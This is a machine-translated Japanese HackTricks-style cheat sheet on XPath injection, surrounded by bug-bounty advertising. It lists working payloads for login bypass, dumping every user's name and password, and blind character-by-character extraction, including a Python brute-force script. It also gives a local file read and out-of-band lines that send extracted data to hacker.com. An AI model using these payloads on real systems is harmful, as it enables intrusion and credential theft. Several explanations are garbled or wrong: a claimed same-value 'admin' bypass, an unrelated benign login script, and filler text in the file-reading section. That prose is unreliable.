34 KiB
XPATHインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
基本構文
XPathインジェクションは、ユーザーが提供した入力からXPath(XMLパス言語)クエリを構築してXMLドキュメントをクエリまたはナビゲートするアプリケーションを悪用する攻撃技術です。
クエリの作成方法に関する情報:https://www.w3schools.com/xml/xpath_syntax.asp
ノード
式 | 説明 |
---|---|
nodename | 名前が「nodename」のすべてのノードを選択します。 |
/ | ルートノードから選択します。 |
// | 現在のノードからドキュメント内の選択に一致するノードを選択します。どこにあっても選択します。 |
. | 現在のノードを選択します。 |
.. | 現在のノードの親を選択します。 |
@ | 属性を選択します。 |
例:
パス式 | 結果 |
---|---|
bookstore | 名前が「bookstore」のすべてのノードを選択します。 |
/bookstore | bookstore要素のルート要素を選択します。注: パスがスラッシュ(/)で始まる場合、常に要素への絶対パスを表します。 |
bookstore/book | bookstoreの子であるすべてのbook要素を選択します。 |
//book | ドキュメント内のどこにあっても、すべてのbook要素を選択します。 |
bookstore//book | bookstore要素の子孫であるすべてのbook要素を選択します。 |
//@lang | langという名前のすべての属性を選択します。 |
述語
パス式 | 結果 |
---|---|
/bookstore/book[1] | bookstore要素の子である最初のbook要素を選択します。注: IE 5,6,7,8,9では最初のノードは[0]ですが、W3Cによると[1]です。この問題をIEで解決するには、SelectionLanguageをXPathに設定します。 JavaScriptでの設定方法: xml.setProperty("SelectionLanguage","XPath"); |
/bookstore/book[last()] | bookstore要素の子である最後のbook要素を選択します。 |
/bookstore/book[last()-1] | bookstore要素の子である最後から2番目のbook要素を選択します。 |
/bookstore/book[position()<3] | bookstore要素の子である最初の2つのbook要素を選択します。 |
//title[@lang] | langという属性を持つすべてのtitle要素を選択します。 |
//title[@lang='en'] | 値が「en」の「lang」属性を持つすべてのtitle要素を選択します。 |
/bookstore/book[price>35.00] | bookstore要素のbook要素で、価格要素の値が35.00より大きいすべてのbook要素を選択します。 |
/bookstore/book[price>35.00]/title | bookstore要素のbook要素で、価格要素の値が35.00より大きいすべてのbook要素のtitle要素を選択します。 |
不明なノード
ワイルドカード | 説明 |
---|---|
* | 任意の要素ノードに一致します。 |
@* | 任意の属性ノードに一致します。 |
node() | 任意の種類のノードに一致します。 |
例:
パス式 | 結果 |
---|---|
/bookstore/* | bookstore要素のすべての子要素ノードを選択します |
//* | ドキュメント内のすべての要素を選択します |
//title[@*] | 任意の種類の属性を持つすべてのtitle要素を選択します |
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、web3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップ ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
例
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
情報へのアクセス
XPath Injection(XPathインジェクション)は、Webアプリケーションのセキュリティ上の脆弱性を悪用して、機密情報にアクセスするための攻撃手法です。XPathは、XML文書内の要素を指定するための言語であり、Webアプリケーションでデータベースクエリを実行するために使用されることがあります。
XPathインジェクション攻撃では、アプリケーションがユーザーの入力を適切に検証またはエスケープしない場合に、悪意のあるXPathクエリを注入することができます。これにより、攻撃者はデータベース内の機密情報を取得したり、アプリケーションの動作を変更したりすることができます。
XPathインジェクション攻撃を実行するためには、まずアプリケーションがXPathクエリを実行する箇所を特定する必要があります。これは、Webアプリケーションのフォーム、URLパラメータ、またはクッキーなどの場所に存在する可能性があります。
攻撃者は、注入ポイントを特定した後、悪意のあるXPathクエリを作成し、アプリケーションに送信します。このクエリによって、攻撃者はデータベース内の情報を取得することができます。
XPathインジェクション攻撃を防ぐためには、入力検証とエスケープの適切な実装が必要です。アプリケーションは、ユーザーの入力を信頼せず、適切な検証とエスケープ処理を行う必要があります。また、セキュリティパッチやアップデートを定期的に適用することも重要です。
XPathインジェクション攻撃は、Webアプリケーションのセキュリティに深刻な脅威をもたらす可能性があります。開発者とセキュリティ専門家は、この攻撃手法についての理解を深め、適切な対策を講じる必要があります。
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
スキーマの特定と盗み出し
XPathインジェクションは、Webアプリケーションの脆弱性を悪用して、データベースのスキーマを特定し、その情報を盗み出す攻撃手法です。
攻撃者は、Webアプリケーションの入力フィールドに対して改変されたXPathクエリを注入します。この注入されたクエリは、アプリケーションがデータベースに対して実行するXPathクエリとして解釈されます。
攻撃者は、注入されたXPathクエリを利用して、データベースのスキーマ情報を特定します。XPathクエリの結果を分析することで、テーブル名、カラム名、データ型などの重要な情報を取得することができます。
この攻撃手法を成功させるためには、攻撃者はアプリケーションの挙動を理解し、適切なXPathクエリを作成する必要があります。また、アプリケーションがエラーメッセージを返す場合、それを利用してさらなる情報を収集することも可能です。
スキーマ情報を盗み出すことで、攻撃者はデータベースの構造を把握し、より深い攻撃を行うための情報を得ることができます。そのため、開発者はアプリケーションの入力検証や適切なエスケープ処理を実装することで、XPathインジェクション攻撃からアプリケーションを保護する必要があります。
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
認証バイパス
クエリの例:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
ユーザー名とパスワードのORバイパス(両方に同じ値を使用)
In some cases, when a web application uses XPath queries to authenticate users, it is possible to bypass the login mechanism by injecting an XPath expression that evaluates to true. This can be achieved by providing the same value for both the username and password fields.
いくつかの場合、Webアプリケーションがユーザーの認証にXPathクエリを使用している場合、ユーザー名とパスワードの両方に同じ値を注入することで、ログインメカニズムをバイパスすることができます。これは、XPath式がtrueに評価されるような値を提供することで実現できます。
For example, if the application's XPath query for authentication is something like:
たとえば、アプリケーションの認証のXPathクエリが次のようなものである場合:
//user[@name='$username' and @password='$password']
You can bypass the authentication by providing the same value for both $username
and $password
parameters, like:
$username
と$password
の両方のパラメータに同じ値を提供することで、認証をバイパスすることができます。例えば:
//user[@name='admin' and @password='admin']
This will cause the XPath expression to evaluate to true, granting access to the application without a valid username and password combination.
これにより、XPath式がtrueに評価され、有効なユーザー名とパスワードの組み合わせなしでアプリケーションにアクセスできるようになります。
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
nullインジェクションの悪用
Null injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate and query XML data.
Null injection occurs when an attacker is able to inject a null character (\x00
) into an XPath query, causing the query to terminate prematurely. This can lead to the disclosure of sensitive information or the manipulation of the application's behavior.
To perform null injection, an attacker needs to identify an XPath query in the application that is vulnerable to injection. This can typically be found in search functionalities or any other feature that allows user input to be included in an XPath query.
Once the vulnerable XPath query is identified, the attacker can inject a null character (\x00
) at a point where it will terminate the query. This can be done by appending the null character to the user-controlled input.
For example, consider the following vulnerable XPath query:
//users/user[name/text()='$username']
An attacker can inject a null character after the $username
parameter, like this:
//users/user[name/text()='admin\x00']
When the application processes this modified query, it will terminate the query at the injected null character, causing the query to only match the admin
user. This can be used to bypass authentication mechanisms or retrieve sensitive information specific to the admin
user.
To prevent null injection attacks, it is important to properly sanitize and validate user input before including it in XPath queries. Input validation should include checking for the presence of null characters and other special characters that could be used to terminate queries prematurely.
Nullインジェクションは、XPathクエリを使用してXMLドキュメントからデータを取得するアプリケーションの脆弱性を悪用するための技術です。XPathは、XMLデータをナビゲートおよびクエリするための言語です。
Nullインジェクションは、攻撃者がXPathクエリにヌル文字(\x00
)を注入できる場合に発生します。これにより、クエリが予期せずに終了し、機密情報の漏洩やアプリケーションの動作の操作が可能になります。
Nullインジェクションを実行するには、攻撃者は注入が可能なXPathクエリをアプリケーション内で特定する必要があります。これは通常、検索機能や他のユーザー入力をXPathクエリに含める機能で見つけることができます。
脆弱なXPathクエリが特定されたら、攻撃者はヌル文字(\x00
)をクエリを終了させるポイントに注入することができます。これは、ユーザーが制御する入力にヌル文字を追加することで行うことができます。
例えば、次の脆弱なXPathクエリを考えてみましょう:
//users/user[name/text()='$username']
攻撃者は、$username
パラメータの後にヌル文字を注入することができます:
//users/user[name/text()='admin\x00']
この修正されたクエリをアプリケーションが処理すると、注入されたヌル文字でクエリが終了し、クエリはadmin
ユーザーにのみ一致します。これは、認証メカニズムのバイパスやadmin
ユーザーに特定の機密情報の取得に使用することができます。
Nullインジェクション攻撃を防ぐためには、XPathクエリに含める前にユーザー入力を適切にサニタイズおよび検証することが重要です。入力の検証には、ヌル文字やクエリを予期せずに終了させることができる他の特殊文字の存在を確認することが含まれるべきです。
Username: ' or 1]%00
ユーザー名またはパスワードのいずれかに二重のOR(脆弱なフィールドが1つだけの場合に有効)
重要:「and」は最初に実行される操作であることに注意してください。
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
文字列の抽出
出力には文字列が含まれており、ユーザーは値を操作して検索することができます。
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
盲目的な攻撃
値の長さを取得し、比較によって抽出する:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Pythonの例
import requests
def login(username, password):
url = "https://example.com/login"
payload = {
"username": username,
"password": password
}
response = requests.post(url, data=payload)
return response.text
def get_user_data(username):
url = f"https://example.com/user/{username}"
response = requests.get(url)
return response.text
def main():
username = input("Enter your username: ")
password = input("Enter your password: ")
login_response = login(username, password)
if "Login successful" in login_response:
user_data = get_user_data(username)
print(user_data)
else:
print("Login failed")
if __name__ == "__main__":
main()
このPythonの例では、requests
モジュールを使用してWebアプリケーションに対してログインし、ユーザーデータを取得する方法が示されています。
login
関数では、指定されたユーザー名とパスワードを使用してログインページにPOSTリクエストを送信します。get_user_data
関数では、指定されたユーザー名を使用してユーザーデータを取得するためにGETリクエストを送信します。
main
関数では、ユーザーにユーザー名とパスワードを入力させ、ログインが成功した場合はユーザーデータを表示します。ログインが失敗した場合は、「ログインに失敗しました」と表示されます。
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
ファイルの読み取り
XPathインジェクションは、Webアプリケーションの脆弱性の一つであり、攻撃者がアプリケーションのバックエンドデータベースから情報を抽出することができます。この攻撃は、アプリケーションがユーザーの入力を適切に検証せずにXPathクエリに直接組み込む場合に発生します。
攻撃者は、悪意のあるXPathクエリを注入することで、データベース内の情報を取得することができます。例えば、以下のようなXPathクエリを考えてみましょう。
' or '1'='1
このクエリは、常に真を返すため、アプリケーションはすべてのレコードを返します。攻撃者は、このようなクエリを使用して、データベース内の機密情報を取得することができます。
XPathインジェクションの攻撃手法は、SQLインジェクションと似ていますが、XPathクエリを操作するための専用のテクニックが必要です。攻撃者は、XPathの構文を理解し、適切なクエリを構築する必要があります。
XPathインジェクションの脆弱性をテストするためには、以下の手順を実行します。
- アプリケーションの入力フィールドに悪意のあるXPathクエリを注入します。
- アプリケーションの応答を監視し、エラーメッセージや予期しない結果を確認します。
- 注入したXPathクエリによってデータベースから情報が取得されるかどうかを確認します。
XPathインジェクションは、アプリケーションのセキュリティを脅かす重大な脆弱性です。開発者は、ユーザーの入力を適切に検証し、適切なエスケープ処理を行うことで、この脆弱性を防ぐ必要があります。また、セキュリティテストを定期的に実施することも重要です。
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Exploitation
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
In OOB exploitation, the attacker injects malicious XPath queries that trigger requests to an external server controlled by the attacker. This allows the attacker to extract sensitive information from the application and send it to their own server.
To perform OOB exploitation, the attacker needs to identify a vulnerable parameter in the application that is used in an XPath query. They then inject a payload that includes an XPath query that triggers an OOB request. The payload typically includes a function or expression that causes the application to make a request to the attacker's server.
Once the OOB request is triggered, the attacker can capture the request on their server and extract the desired data. This can be done by analyzing the request headers, body, or any other relevant information sent by the application.
OOB exploitation can be used to extract various types of data, such as database contents, file contents, or any other sensitive information that can be accessed through XPath queries. It is a powerful technique that can be used to bypass security controls and gain unauthorized access to sensitive data.
To protect against OOB exploitation, developers should ensure that user input is properly validated and sanitized before being used in XPath queries. Additionally, web application firewalls (WAFs) can be used to detect and block malicious XPath queries.
By understanding and being aware of OOB exploitation techniques, security professionals can better defend against XPath injection attacks and protect sensitive data from being leaked.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
自動ツール
{% embed url="https://xcat.readthedocs.io/" %}
参考文献
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTコレクション
- 公式のPEASS&HackTricksグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するために、PRを hacktricks repo と hacktricks-cloud repo に提出してください。